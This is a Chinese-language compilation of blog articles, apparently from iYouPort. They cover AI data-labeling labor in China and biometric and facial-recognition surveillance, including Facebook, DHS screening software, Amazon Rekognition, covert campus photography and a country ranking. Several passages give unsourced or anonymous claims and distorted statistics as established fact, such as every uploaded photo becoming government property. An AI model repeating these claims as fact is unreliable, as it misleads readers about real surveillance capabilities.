但是，随着世界各地的企业越来越多地寻求从无人驾驶汽车到医疗诊断等行业的人工智能应用，ImageNet 和 Mechanical Turk 被证明是不够的。

大多数人工智能创业公司只有少数全职员工，通常是数据科学家。“这需要大量的体力劳动。你不能指望那些薪水如此高的人从事这样的工作，所以你必须外包这项工作。”

此外，存在隐私和质量控制的问题。例如，医学图像需要保密。Mechanical Turk 任务由任何想要赚钱的注册用户执行，而不是从周一到周五工作的具有专职薪水的员工。

外包意味着这些业务现在正涌在中国各地。 Peter Yang 的业务位于中国的新疆地区，客户包括中国的主要搜索引擎百度和跨国制药公司诺华。他们为中国公司提供服务，如少数无人驾驶车辆创业公司，在河南和邻近的山东省的小城市设有分支机构。

传统观点认为，采用更先进的技术，那些从事低技能工作的人将失去最多机会。学术研究大多支持这一点。但是这并不意味着技术必然会

取代所有工作。

历史研究表明，自动化可能会导致就业热潮，波士顿大学技术与政策研究计划执行主任 James Bessen 说。他指出纺织业就是一个例子。

在19世纪早期，由于布料的成本，大多数人只有一套服装。但随着技术的发展，某些任务变得自动化并降低了制作服装的成本，对布料的需求也在增长。更多的衣服带来了更多就业机会。虽然纺织工业被认为是“技术含量低”的，但随着规模的大幅扩张，它也带来了新的工人，他们必须学会操作复杂的机械。虽然工作外包给了发展中国家，但没有工作岗位的净损失。只有当需求接近饱和时，就业数量开始下降。

就目前而言，中国劳工相对于美国来说是便宜的。

还有，这项工作也扩展到图片识别之外。许多公司也在为声音识别、视频标签甚至原始数据付费。周和他的团队收集了儿童的音频，还有说河南方言的人。

对于这些工人来说，成为新行业的一部分有一种独特的自豪感。“我们正在做一些非常基本的事，但我们[也]是其中非常重要的一部分，帮助机器学习和查看大量数据，”王说。

主板这篇文章没有讲到我们关系的重点问题。请注意这篇文章：《你曾经在社交网络上发布过自己的照片？你危险了！》

China Is Achieving AI Dominance by Relying on Young Blue-Collar Workers: To remain the world leader in artificial intelligence, China relies on young “data labelers” who work eight hours a day processing massive amounts of data to make computers smart.

原文

你曾经在社交网络上发布过自己的照片？你危险了 - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【 2019年1月21日存档】大概四年前，一位中国姑娘曾经这样告诉我：“如果你不在社交网络上发照片，别人就会认为你非常丑”。我惊讶得嘴巴都合不拢了。如此可怕的价值观是怎么来的？一个多么邪恶的阴谋。因为那之后，中国就开启了人脸识别技术为主的大规模监视实践……

也许我们中大多数人都干过这种事，在某些时刻，在网站和 Facebook 等社交网络上发布我们自己、家人和朋友的照片。无论是鼓励你提交图片以输出卡通效果或各种滤镜效果、还是将个人自拍上传到 Facebook，数字媒体公司都在拼命地推动营销活动，以更多地获取您的生物数据充实他们的面部识别技术。但是，我们中的大多数人完全没有意识到这些活动的欺骗性及其危险的意图。

人们如今已经能够清楚地意识到，随着视频监控的广泛被使用，其在社会中的接受和整合正在增长，视频监控随着时间的推移可能会越来越多地形成人权侵害。一旦安装，这种监视系统很少能够局限于它们曾经宣称的原始目的。应用该技术的新方法导致了严重的滥用，因为当局或运营商已经发现这些技术可以形成不可被抗拒的权力扩张。

最终，人权将遭受再一次强烈的打击。广泛的监视正在改变我们生活的特征、感觉和质量。

在线社交网络彻底改变了40岁以下人群之间的沟通和信息共享方式。Facebook 和 Twitter 等社交网站已成为全球许多人的首选交流方式。

根据 InSites Consulting 的一项研究，全球 72% 的互联网用户至少是一个社交网络的成员，这意味着全球有**9.4**亿人正在被数字极权剥夺人权。

东欧和亚洲是相比下是社交网络参与度最低的地区（10个人中有4个

人参与），而南美洲的百分比高达 95% 是使用率最高的。英国人大多访问 Facebook（50%），其次是Twitter（42%）。在全球范围内，Facebook 仍然是最受欢迎的社交网络（51% 的全球人口使用 Facebook），其次是 MySpace（20%）和 Twitter（17%）。

很明显，社交网络的垄断已经形成，并且很可能在明年发生变化。InSites Consulting 的合伙人 Steven Van Belleghem 说："新的社交网站招募会员变得越来越困难。大多数冲浪者对他们目前的状况感到满意，并且不想成为新平台的成员。"—— 信仰垄断者已经根植入全世界人们的内心，这就是为什么我们推荐 Mastodon 如此困难。

使用社交网络的人每年都在增长，这也意味着随着年龄较大的用户在增多，他们更有可能在参与活动和表达友谊时发布自己最新的个人照片。在 Facebook 上，每位用户平均有近 200 个"朋友"（这是全球平均水平），这意味着通过 Facebook 内部的联系已经遍及全球。

老大哥正在使用互联网提取你的生物识别数据

技术专家 Ivan Abreu 表示，Facebook 和谷歌与美国政府内的三字母间谍机构(NSA, FBI, CIA)有着很强的联系。"你上传到 **Facebook** 或谷歌的每张照片都成为了政府的财产，他们可以按照自己的意愿对你做任何事，因为 Facebook 在其条款和条件中就已经确认了公司可以随意使用任何个人照片或任何用户的信息。"

Facebook 自己的使用条款规定："通过将信息发布到网站的任何部分，您已经自动授予 Facebook 一切权力：这些权力是不可撤销的、永久的、非独占的、可转让的、全球无障碍许可使用的，可复制、可重新格式化、翻译、摘录和分发此类信息和内容，可生成衍生作品或将其纳入其他作品。

在其同样有趣的隐私政策中："Facebook 也可以通过服务的运作（例如照片标记）从其他来源收集有关您的信息，例如报纸、博客、即时消息服务和 Facebook 服务的其他用户。使用 Facebook，即表示您同意将您的个人数据传输到美国并在美国进行处理。"

自 **2006** 年 **12** 月以来，中央情报局一直在使用 **Facebook.com**，招募潜在的员工加入其国家间谍服务。就如几个月前曝光的，中国情报机构一直在使用 LinkedIn 招募间谍。

Facebook 的一笔主要资金来源（1270 万美元）是来自风险投资公司 Accel Partners。其经理 James Breyer 曾担任国家风险投资协会主

席，并在 1999 年由中央情报局成立的风险投资公司 In-Q-Tel 的首席执行官 Gilman Louie 担任董事会成员。该公司研究的关键领域之一就是“数据挖掘技术”。

Anita Jones 博士曾在 In-Q-Tel 董事会任职，并曾担任美国国防部国防研究和工程总监。她还是国防部长的顾问，并监督国防高级研究计划局（DARPA），该机构负责高科技发展。

直到一名记者揭开了 DARPA “信息意识办公室”的神秘面纱时，公众才开始关注其生物识别数据是如何变成了大规模监控的信息挖掘项目之关键组成部分。

维基百科的 IAO 页面上写道：**“IAO** 的使命是尽可能多地收集每个人的信息，在一个集中的位置，供美国政府轻松阅读，包括并不限于：互联网活动、信用卡购买历史、机票购买、汽车租赁、医疗记录、教育成绩单、驾驶执照、水电费、纳税申报表，以及任何其他可用数据。“

根据 Abreu 的说法，一位匿名来源再次解释了社交网络巨头隐秘的一些技术：“他们不仅可以扫描你的 Facebook 页面上的一切内容，而且，他们的面部识别和生物识别应用程序可以扫描 Facebook 内的每一张照片（有数十亿之多）而且是实时扫描！“一会儿就删”那种办法是没有任何效果的……这就是他们运作的先进技术和计算能力。“

长期以来，政府机构的技术能力总是能远远超乎你的想象。Abreu 的消息来源将面部生物识别技术确定为“超越现有的一切技术”。“无论是你的个人资料还是很久以前的老照片、甚至是你的照片的传真副本，只要你的面部生物识别数据存在于他们的数据库中的任何地方，并且他们有一个视频的参考屏幕截图，他们就可以找到近90%匹配的准确度，“Abreu 补充道。

- 关联：如果革命要走向成功，就需要一群愤怒的大众，需要足够高的速度，而且，如果组织动员发生在互联网上，那就必需获胜，因为一旦不能取胜，同样的基础设施既能让一种舆论共识迅速发展起来，也能被用来追踪所有卷入舆论散播的人。《为自由而战（一）卧室里的坦克—— 被军事化的互联网人》

Abreu 透露，专注于挖掘此类图像的魔头并不仅限于 Facebook。并且该技术可以破坏任何网站的安全性，可以同时扫描和下载图像，以基于预定义的生物识别算法进行检索。

Abreu 表示，社交网络门户网站的商业成功和其大规模营销策略使得面部识别技术对政府更具吸引力。“由于太多人无意识地甚至故意披露个人信息，这项技术已经呈现激增状态。”他表示，除了 Facebook 之外，还有许多其他公司无限期地记录和存储您的信息！

许多罪魁祸首

2009 年底，谷歌推出了一项名为 Google Goggles 的移动搜索技术，该技术允许用户提交图片而不是关键字作为查询。Google 的搜索产品和用户体验副总裁 Marissa Mayer 解释说，Google 一直专注于搜索的四个方面：模式、媒体、语言和个性化。新的搜索模式，例如语音驱动和图像驱动搜索，代表了谷歌这一帝国的重大发育。

谷歌工程副总裁 Vic Gundotra 表示，Google Goggles 代表了“谷歌进入计算机视觉之旅的开端”。当年 Gundotra 特别强调，谷歌有能力进行面部识别。那是近十年前，而如今，谷歌的“智能城市”项目充分地采用了面部识别，以深层侵犯全球物理世界的人权。

其他互联网巨头，如 InterActive Corp，拥有 Mindspark 和 Match.com等子公司，是访问个人图像和信息的主要门户网站。例如，myWebFace 作为浏览器的工具栏下载，它允许您根据许可协议中的说明来创建“在线卡通化身”。然后，他们为您提供了将 myWebFace 卡通用于 Facebook 个人资料或其他社交网络的机会。你玩的很开心，这些公司比你更开心，因为他们已经拿走了你最珍贵的东西。

另一个叫 oldyourself.com的东西也一样，将任何肖像图像数字化和老化，以模拟20年后的样子，因此结论是您自己的老年版本。这些游戏能够让用户吸引到更多的关注者，从而满足了人们的自我表现欲。这就是诱饵。

“用户蜂拥而至了，”Brent Kane 表示，他是前技术官，曾在加拿大、澳大利亚和美国担任互动媒体联络员，“人们大量宣传这些类型的网站，以在短时间内吸引尽可能多的关注者”。

对 oldyourself.com网站的回顾证明了 Kane 的说法是正确的。2010 年7月24日，该作者通过他们在网站登陆页面上集成的 Facebook 小部件来跟踪网站的流量。Facebook“like”在几个小时内就从个位数点赞一路上升到了超过 28,000 个“like”，你可以看到 Facebook 赚钱有多容易。有趣的是，Facebook 本身并没有一个这样的页面以可视化这些数据。

“下载这些工具的用户完全忘记了这样一个事实，即 无论许可协议中的内容写得有多眼花缭乱，他们都会被跟踪和追踪，”Kane 说。

“这些投资良好的网站的目标对于普通用户来说显得相当无辜和有趣，但是在幕后，任何人的脸都在被跟踪、存储并列入到海量数据挖掘项目中，他们专门挖掘一切私人信息，包括电子邮件和 IP 地址，以备将来的任何一种使用，”Kane 总结道。

FACEinHOLE 也使用类似的方法诱使用户上传自己的照片，以便集成到特定的场景中。想要自己看起来像一个健美运动员、模特或演员吗？Faceinhole.com有数以千计的场景吸引毫无戒心的用户提交他们的个人照片。

该网站概述了“使用条款”协议，声明“FACEinHOLE 可以收集用户未显示在 FACEinHOLE 网站上的某些个人信息”。更重要的是，其声明中明确写着：您的信息可以被“根据法律程序”的要求被政府当局访问和向警方披露。最后，他们有权“在转让 FACEinHOLE.com或其任何网站或产品的所有权时转移所有用户的个人身份信息。”因此，基本上，您没有任何隐私，他们可以随心所欲地处理您的私人图像和信息。

具有讽刺意味的是，在他们的法律声明页面上，他们声明“FACEinHOLE.com将调查版权侵权，并根据”数字千年版权法案“采取适当行动。” 这位作者非常好奇地询问： FACEINHOLE 在其媒体页面复制并存储名人的数字图像之前，是否会请求乔治布什、托尼布莱尔、莱昂纳多迪卡普里奥、和齐达内的许可？

视频游戏是企业吸取年轻人的生物识别数据的最有效方法。想要扫描整整一代青少年的脸吗？在视频游戏中加入面部识别和生物识别技术就行了。这就是 Xbox 和 Playstation 正在做的事。

微软的 Natal 项目正在为 XBox 游戏系统提供一个新的插件，它可以映射你手、手指、脚、脸、鼻子，等等所有东西在3D图中的精确位置。它可识别语音和面孔，并支持复杂的视频聊天，以获得完整的互动体验。作为超级老大哥，微软已经加入了面部识别技术，这种技术可以让你使用自己的脑袋作为密码来登录你的真实账户。

Natal 不仅仅是为了游戏。随着微软开始推动 Xbox 360 作为家庭娱乐巨型中心，你将能够使用 Natal 来欣赏电影和歌曲，并使用语音识别来发出命令。

索尼欧洲开发者服务主管 Kish Hirani 表示，Playstation Eye 将能够“检测性别、甚至是脸部的年龄，分别分析鼻子、眼睛和耳朵等面部特征，甚至可以检测你每时每刻的心态。”

当然，数百万青少年和年轻人将有机会通过扫描自己身体的每个部分，以便玩下一代视频游戏。不幸的是，一旦图像在线上传，他们的身份将永远由邪恶的政府所拥有。

信任是一件美妙的事，直到它破碎

“年轻人如何看待网络隐私和老一代经理和高管如何看待它之间存在着明显的数字鸿沟，”Levin 博士说，他是该研究的合著者，“下一个数字鸿沟是：在线社交网络隐私”。“年轻人认为，在他们的个人社交网络共享的信息依旧是私人信息，只要其传播仅限于他们自己的社交关系圈子内。但是，另一方面，数字极权们根本不承认网络隐私这一概念。他们认为网上发布的任何信息都是公开的，不值得保护。“

事实上，就在此时此刻，我们只知道面部识别技术正在互联网上被使用，但在多大程度上被使用仍然不清楚。在机场等公共场所使用面部识别取决于广泛的视频监控，这是一种侵入式监控形式，可以记录个人和私人行为的任何一个微小的细节。经验告诉我们视频监控将被滥用。毕竟，摄像机系统由人类操作，他们将所有现有的偏见和歧视带到了工作岗位上。例如，在英国，这个全球最密集监视设备的国家，已经发现摄像机操作员不成比例地关注有色人种，而且大多数男性操作员经常偷窥女性。

ACLU 的专题报告强调了这种状况，看看密歇根州执法部门如何使用数据库来帮助自己和他们的朋友跟踪女性、威胁驾驶者、追踪疏远的配偶—甚至恐吓政治对手。不可避免的事实是，访问数据库的人越多，滥用的可能性就越大。

面部识别特别容易被滥用，因为它可以被动地使用，不需要受试者的知晓、同意或参与。可以将摄像机放在任何地方并对人进行偷拍，现代相机可以轻松查看100 码以外的面孔。人们有权知道他们的动作和身份是否正在被捕获。

在面部识别技术的任何进一步发展之前，大众必须理解两件事：首先是验证该技术是否仅限于对其预期目的有效。第二是该技术是否违反了安全与自由之间的平衡。

不幸的是，面部识别在这两方面都完全失败：因为它以非常不可靠的

方式工作，并且不会显著保护我们的安全—— 但它绝对会造成对我们的隐私最显著的威胁。

那么，为什么公众还在努力帮助这些侵入性技术？！停止上传！停止共享！停止扫描！停止在整个互联网上分发个人图像！它们被用来对付我们，这个邪恶的游戏中你的任何进一步的遵守只会导致权力的操纵和控制的更新水平。

如果所有人都能拒绝上传个人资料图像在互联网上、拒绝扫描自己的身体作为身份验证，暴露生物识别数据的可能性就会大大降低，邪恶的权力就没有那么多的数据去训练他们的 AI。是的，你， 我，我们每个人都能阻止灾难的进一步深化，现在开始！不要再晒照片了！

原文

你长得像坏蛋吗？ - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

你可能自己不知道，但是国安部知道，他们会因你的长相而抓捕你，为什么

「图」

「图」

你也许不知道自己长得像不像一个坏人，但是警察“知道”。国土安全部最近弄了个新计划，给世界各地的机场提供免费软件，这些软件通过大数据教会自己识别“谁是坏人”。

总部位于弗吉尼亚州北部的自动化机器学习公司 DataRobot 赢得了该部门的合同，开发了“预测模型，以增强对高风险乘客的识别”软件，根据合同，该软件应“以合理的响应时间进行实时预测”，这里的时间指的是不到一秒钟！DataRobot 目前正在测试该软件。

该合同还规定，软件的预测必须能够“单独”使用从票证记录和人口统计数据收集的所有信息—— 例如原始机场、姓名、生日、性别和公民身份等标准。该软件还可以从稍微复杂的输入中提取，例如相关旅行社的名称、座位号、信用卡信息、以及更广泛的行程信息。概述文件描述了这样一种情况，即 软件可以通过查看年龄、国内地址、目的地和/或过境机场、路线信息、往返信息、逗留时间和行李信息等，与已知情况的进行比较。

DataRobot 正在将所有现代企业积累的大量原始数据转化为他们所希望的预测。其客户包括孟山都公司和中央情报局的风险投资部门 In-Q-Tel。

Homeland Security Will Let Computers Predict Who Might Be a Terrorist on Your Plane—Just Don’t Ask How It Works: “Algorithms will both replicate biases and produce biased results,” Patel said, drawing a parallel to situations in which police are algorithmically

allocated to “risky” neighborhoods based on racially biased crime data, a process that results in racially biased arrests and a checkmark for the computer. In a self-perpetuating bias machine like this, said Patel, “you have all the data that’s then affirming what the algorithm told you in the first place, ” which creates “a kind of cycle of reinforcement just through the data that comes back.” What kind of people should get added to a watchlist? The ones who resemble those on the watchlist.

原文

假面舞会 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

“这是一种先发制人的攻击，它允许该公司说’我们支持监管’，但同时又能确保监管不会给其利益带来任何麻烦。” 扮演上帝不仅能帮你骗取信任，还能免于被监督问责， 亚马逊的假面舞会如何操弄这场游戏？

「图」

「图」

亚马逊正在向公众游说，提出立法者在制定关于使用面部识别技术的立法时采用的指导方针。

和苹果的虚伪一样，亚马逊也得到了主流媒体的吹捧，但是要知道，就在此前不久亚马逊自己的监视软件 Rekognition 已经受到了 ACLU 等民间权利团体的抨击，不仅加深种族偏见更危害公民自由。

这家网上零售巨头的首席执行官也是世界上最富有的人杰夫贝索斯在接管华盛顿邮报之前，在2014年他的亚马逊网络服务公司（AWS）就与中央情报局签订了6亿美元的云计算合同，两者之间有着深厚的联系。AWS也是国防部云计算合同的最有力竞争者，该合同价值100亿美元。

与此同时，五角大楼目前正在调查亚马逊是否通过重新雇用 Deap Ubhi 来弥补这一过程中的利益冲突，Deap Ubhi 是一名AWS员工，后来为国防部工作，“帮助指导美国军方的云计算工作”。今天，Ubhi 是AWS的总经理。

亚马逊发布了国会在调整面部识别技术时考虑的建议指南。正如 Mashable 的 Rachel Kraus 指出的那样，“这是一种先发制人的攻击，它允许该公司说’我们支持监管’，但同时又能确保监管不会给其利益带来任何麻烦。”

没错，这些提案本身，就像公司发布这些提案的动机一样，都可以保护亚马逊免受监督。这是因为没有说明该公司有责任防止非法使用其软件。相反，该公司建议“面部识别应始终按照法律规定使用，包括保护公民权利的法律。”

“亚马逊的框架非常空洞，强调该公司拒绝在政府手中妥善解决其技术的危险，”ACLU 高级立法委员会的 Neema Singh Guliani 说道，“提出弱势框架并不能免除亚马逊对其面部监控产品的责任。”

该提案还建议“当面部识别技术被执法部门采取可能威胁公民自由的方式使用时，建议其使用99%的置信度评分阈值。”然而，亚马逊发言人告诉Gizmodo 的 Bryan Menegus，如果执法客户未能采用该阈值并不是亚马逊撤销访问权的理由。

“通过人工智能，Rekognition 可以实时识别、跟踪和分析人员，并在单张图像中识别多达100人。据亚马逊称，它可以快速扫描数据库中收集的数据，这些数据库包含数以千万计的面孔，“ACLU 说。

据 ACLU 称，该技术已被“积极推向”移民与海关执法局（ICE）。贝索斯的“ 华盛顿邮报”甚至报道说，俄勒冈州的华盛顿郡治安官办公室每月仅以6到10美元的价格授权该技术，他们还与包括警察机构和车身摄像头制造商在内的其他潜在客户签订协议。

ACLU 能够以12.33美元的价格购买到 Rekognition 使用权，“比一个大披萨还便宜。”

据报道，俄勒冈州的警长办公室使用了30,000个面部照片的数据库来提升 Rekognition 匹配能力，而 ACLU 则使用了25,000个照片来自公开可用的数据库。结果显示，该软件将28名国会议员列为了嫌疑人。

警方发言人狡辩说，该技术为调查人员提供线索的，但最终确定嫌疑人是一个基于人的决策过程，而不是基于计算机的决策过程。“

尽管如此，即使是这样的“线索”也是严重违背公民自由倡导的，政府监视受第一修正案保护的活动（如和平抗议活动）违背民主原则。

美国佐治亚州立大学的 Singh Guliani 告诉 Mashable，亚马逊的指导方针并没有“减少使用该技术来确定谁参加了政治抗议活动、监控移民、或针对有色人种社区的加强型维稳的必然性”。

上面的照片是在亚马逊总部举行的万圣节主题抗议活动，抵制该公司的面部识别系统 Rekognition。

Amazon Facial Rekognition App Sets Off Alarm Bells. Jeff Bezos' ties to the national security state through Amazon Web Services are formidable, but the triple-digit billionaire's furnishing of surveillance tools to the police state are no less disturbing.

原文

偷脸 - iYouPort

生物识别-眼下最严重的威胁，以及怎么办

这是个值得警惕的问题。

「图」

「图」

当我们强调不要在互联网上发布照片时已经暂时忽略了现实中的偷拍，也就是这篇报道中显示的状况 —— 政府资助的大学研究通过偷拍训练算法。

于是它提醒了一件事：即便没有安装面部识别技术的监视摄像头也具有协助面部识别技术的“功能”。

反对者辩论的着眼点应该放在“公共场合是否应该有合理的隐私期待”这个问题上，这是监视者狡辩的重点。

这一辩论将不仅涉及政府对民众的监视，也包括人与人之间的监视 —— 你可能很难阻止陌生人拍摄你并放到互联网上；最重要的如何抵制这种情况，也就是辩论方法。正如我们此前专门分析过的，详见《一个愚蠢带来的启示》。

科罗拉多大学科罗拉多斯普林斯分校的一位教授领导了一个项目，秘密偷脸长达六年 —— 拍摄了超过1700多名学生、教职员工和其他人在公共场合散步的照片，用来训练面部识别技术。

这些照片目前已经作为数据集在线发布，从2016年到今年4月的部分可供下载。

虽然 Terrance Boult 教授和CU官员为该项目拼命辩护，但丹佛大学法学教授 Bernard Chao 质疑这是否是技术跨越道德底线的又一个例子。

“这是我们看到隐私入侵的另一个领域，”Bernard Chao 说道，他在

DU教授法律与技术的交叉，并且之前在硅谷执业近20年。

科罗拉多斯普林斯独立报首次报道的这件事，该项目于2012年开始，⚠资金来自美国各种情报和军事机构，包括海军研究办公室、特种作战司令部和国家情报局局长办公室。

目前尚不清楚该项目从政府机构获得了多少资金。

Boult 的研究最初旨在分析面部识别算法，以确定它们是否适合美国海军使用。但事实证明，这项技术并不像海军想要的那样高效。

Boult 说："如果你想要将两张护照照片放在一起比较，那并不难，但如果你想要识别100米开外的人，就没那么简单了。"

Boult 和他的团队做了更多高级研究，试图改进面部识别技术。

Boult说："这项研究正在努力使面部识别变得更好，特别是在远距离识别或监视应用中。"

"我们希望收集一些人们在公共场合自然行为的数据集，因为这是最终尝试使用面部识别的方式。"

面部识别技术正在被越来越多地使用，包括让 Facebook 在图片中标记人物，让政府机构检查护照或签证等等。

为了进行这项研究，Boult 在离科罗拉多斯普林斯校区西草坪约150米的办公室窗户内设置了一个远程监控摄像机，他认为这是一个公共区域，路人不会有合理的隐私期望。

在2012年和2013年春季学期的某些日子，这台监视相机一直在偷偷拍摄西草坪地区散步的人们。

相机拍到的人大多低头看着手机、有些模糊不清，要么已经走出了监视区。

总共拍摄了超过**16,000**张照片，产生了**1,732**种独特身份。Boult 说，他等了五年才公开发布该数据集"是为了保护隐私"。

该校的发言人 Jared Verner 说，他们"致力于学术自由和教师学习和研究各种主题的能力，同时也认真对待学生的隐私"。

"研究方案由 UCCS 机构审查委员会进行分析，该委员会确保在研究

中保护人类受试者的权利和福利，”Verner 在一份声明中写道。

DU 的 Chao 说，即便该研究得到了大学的机构审查委员会的批准，CU Colorado Springs 确定对个人受到的伤害没有实质性的担忧，但该项目仍然是“令人惊讶”的。

Boult 说，照片数据集于4月15日在互联网上发布，但不是因为隐私问题。因为金融时报发布了一篇文章，题为“谁在用你的脸？关于面部识别的丑陋真相”。

“他们在文章中提供的信息比我们预期的要多”， Boult 说。

发布的信息包括拍摄照片的日期和时间，Boult 表示这挫败了试图随机化数据集中的照片的预期目的。他说他正在考虑公开发布另一个版本的数据来解决这个问题。

如果学生反对在不知情的情况下参与研究，他说他会试图“弥补”。

Boult 说：“如果有人想来我的实验室浏览成千上万的照片并说’那个人就是我’，我们很乐意将它们从数据集中删除。”

但他依旧辩称，学生的面孔正在被用来“带来更大的好处”，他说，他“平衡了”学生的隐私和改善面部识别系统的需求。

Chao 反驳说，**Boult** 的推理假设政府或联邦机构正在做的事是社会希望他们做的事，而事实并非如此。

“他可能正在帮助他们做一些不正确的事，”Chao 说。

“我认为正确的回应需要是，’也许我们不应该这样做’”。〇

CU Colorado Springs students secretly photographed for government-backed facial-recognition research

原文

全球滥用生物识别技术的前5名国家是谁？ - iyouport

生物识别-眼下最严重的威胁，以及怎么办

【2020年9月23日存档】生物识别技术的使用正在全球范围内呈指数级增长。

Comparitech 最近进行的一项研究对50个国家进行了评级—关于它们能否保护公民的生物特征数据。于是就有了一个排名。

排在前面的是监视程度最严重的国家 —— 隐私人权侵犯最严重的国家。

猜猜看，前5名都是哪些国家？

以下是这份报告。

请注意，该报告关注的仅仅是生物识别技术的使用方面，而非监视的整体方面。您可以在我们的 列表-2 中看到有关监视技术和使用的更多详细报道和分析。

从护照身份验证到使用指纹识别访问银行帐户，生物识别技术的使用正在全球范围内呈指数级增长。

并且，虽然使用指纹可能比输入密码更容易，但是，一旦政府收集到您的生物特征数据，将会发生什么？

- 《当你的生物识别数据从系统中泄露时会发生什么？》

Comparitech 分析了50个不同的国家/地区，以了解生物特征识别在何处进行、其用途是什么、以及政府如何存储公民的生物识别数据。

尽管生物识别数据收集的范围非常广泛，但这份报告采用了适用于大多数国家的5个关键领域（以提供公平的国家/地区比较，并确保数据可用）。

每个国家/地区都分配了25分的最高分，分数越高表示该国对生物识别和/或监视的使用越广泛和侵入性，低分则表明对生物识别技术和监视技术的使用有更好的限制和法规。

虽然中国位居榜首或许并不令人太过意外，但是其他国家的居民（和旅行者）可能会对他们身上的生物识别信息被收集的程度以及收集后的情况感到惊讶和担忧。

主要发现：

「图」

- 许多国家/地区通常通过签证或机场的生物识别检查来收集旅客的生物特征数据；
- 本报告中研究的每个国家/地区都将生物识别技术用于银行帐户，例如指纹识别以访问在线应用程序数据和/或确认银行户主的身份；
- 尽管许多国家将生物识别数据视为敏感数据，但是，生物识别技术使用的增加已被广泛接受；
- 带有面部识别的闭路电视监视器正在许多国家/地区实施，或至少正在接受测试；
- 由于GDPR法规在一定程度上保护了工作场所对生物识别技术的使用，因此欧盟国家的总体评价高于非欧盟国家。

5个最糟糕的国家

「图」

这5个国家总体上得分最高，这表明他们对公民的生物识别数据的隐私人权严重缺乏关注。

这些国家通过收集、使用和存储生物识别数据，在严重且具有侵入性的程度上使用生物识别技术。

1、中国 = 24/25

「图」

由于中国没有生物识别为基础的投票系统，于是勉强收获了一分 ——否则就是满分了。

但是，中国的投票系统受到非常严格的控制，也许正是因此消除了该国对生物识别投票系统的需求。

中国在以下所有其他类别中都获得了最高分：

- 在护照、身份证和银行帐户中使用生物识别技术。
- 没有保护公民生物特征数据的特定法律。
- 其广泛的全国生物特征统计数据库目前正在扩展，把DNA也包括进去了。
- 中国在闭路电视监视摄像机中广泛使用面部识别技术。先前的研究已经发现，面部识别监视摄像头现在被用于跟踪和监视该国的穆斯林少数民族维吾尔人等。北京还在地铁的安检站试用面部识别技术，以便将旅行者分为几类，该国还希望将这类监视扩展到公共汽车、出租车和其他旅行服务上。而且，在撰写本文时，中国还为任何获得新手机号码的人引入了面部识别检查。
- 该国缺乏对工作场所员工的保障。公司甚至被允许监视员工在工作时的脑波状态，声称“提高工作效率”。
- 大多数国家/地区的人进入中国都要求签证，并且所有签发的签证都包含生物识别信息。该国还记录了任何进入中国的人的指纹。

2、马来西亚＝ 21/25

「图」

尽管马来西亚确实比中国“好一点”，但由于以下这些原因，该国在所有类别中的得分仍然是很高的：

- 在护照、身份证和银行帐户中使用生物识别技术。
- 没有保护公民生物特征数据的特定法律。
- 具有警察可以访问的多个生物特征数据库。
- 在许多领域的CCTV监视器中使用面部识别技术。警察还在其身体摄像头中使用面部识别。
- 对于工作场所中的生物识别技术，该国没有很多保护措施，并且这类监视技术已经被广泛使用。这包括收集生物特征数据以验证外籍工人的身份。
- 许多国家/地区的人需要签证才能进入马来西亚，并且这些签证包含生物识别信息。外国人入境时也会被收集他们的生物识别信息。

3、巴基斯坦＝ 21/25

「图」

巴基斯坦的分数确实与马来西亚相同，但这并不是由于所有类别的得分都很高。相反，巴基斯坦在签证方面做得更好，因为并非所有签证都包含生物识别信息，并且当有人进入该国时不需要交出自己的指纹。

但是，该国在以下方面的得分很高：

- 在护照、身份证和银行帐户中进行生物识别。
- 具有生物识别投票系统。
- 没有保护公民生物特征的特定法律。
- 使用广泛的面部识别技术作为所谓的 “安全城市” 项目的一部分。
- 没有数据保护法律来保护员工的生物特征数据。

所谓的 “安全城市” 究竟是什么？《被俘虏的城市：为什么人们会接受可怕的军统？》。

4、美国＝ 20/25

「图」

由于以下原因，美国在大多数方面表现很糟：

- 在护照、身份证和银行帐户中进行生物识别。
- 具有生物识别投票系统（在许多州使用光学扫描设备）。
- 没有保护公民生物特征数据的特定法律。尽管有少数州的法律试图保护本州居民的生物特征数据，但这确实使许多美国公民的生物特征数据暴露无遗，因为目前尚无联邦法律。
- 通过警察部门推动面部识别相机的广泛使用。例如，FBI和ICE最近因使用面部识别技术扫描驾驶执照而未事先征得公民同意而受到批评。旧金山、加利福尼亚州奥克兰、伯克利和萨默维尔（马萨诸塞州）也实施了一些城市级禁令，禁止政府使用面部识别技术。
- 在工作场所越来越多地使用生物识别技术。许多公司将员工的生物特征识别信息用于某些操作，例如使用指纹来访问工作计算机。同样，一些州法律提供了更多保护，但这仍然使许多员工的生物识别数据暴露无遗。

- 大多数国家的人进入美国的签证都需要指纹，进入该国后，每个人的指纹都会被收集。

禁止面部识别有用吗？《禁止面部识别可以做到什么、不能做到什么》。

雇主是如何监视你的？《你的老板可能是比 Facebook、谷歌更大的老大哥》。

应该如何解决监视国家的问题？《我们遗落的骨骸》。

5、台湾，菲律宾，印度和印尼＝ 19

「图」

有4个国家以19分并列排名第五，这些国家都位于亚洲。

除了使用使用面部识别之外，菲律宾在其他所有领域的得分都很糟糕。

印度尼西亚允许来自许多国家的公民无需签证即可进入该国。即使需要签证，许多人也不需要交出生物识别数据。不过，印尼的高分是由其国家级生物识别数据库（来自ID卡并包含指纹）得出的。

印度还拥有世界上最大的国家生物识别数据库，被称为 **Aadhaar**。但是，由于该国不允许警察访问该数据库，因此避免了最高分。

台湾的国家生物识别数据库包含所有公民的身份证照片，并具有警察使用的面部识别技术。但是由于数据库中没有包含指纹，台湾避免了像印度尼西亚这样的 “极端” 评分。

5个最佳国家

「图」

1、爱尔兰＝ 11

「图」

爱尔兰与葡萄牙合作，仅使用了一个包含犯罪记录的小型数据库，从而保护了生物识别数据。

该国为员工的生物识别数据提供了额外的保护措施（例如，“同意并不总是足够的”，这超出了GDPR的要求）。并且进入该国后就不会进行生物识别。

但是人们对爱尔兰使用面部识别功能的CCTV监视摄像机存在一些质疑。

2、葡萄牙＝ 11

「图」

在葡萄牙，禁止使用生物识别数据库。因此，由于没有任何形式的生物识别数据库，这是唯一一个在数据存储方面获得完美结论的国家。

并且葡萄牙没有带面部识别的CCTV监视器，工作场所具有生物识别保护，并且具备有助于保护公民生物识别数据的法律，因此获得了良好的评价。

3、塞浦路斯＝ 12

「图」

塞浦路斯不是申根国之一，因此不会成为进/出监视系统的一部分。而且，与许多欧盟成员国不同，该国不会参与大型的集中式数据库。

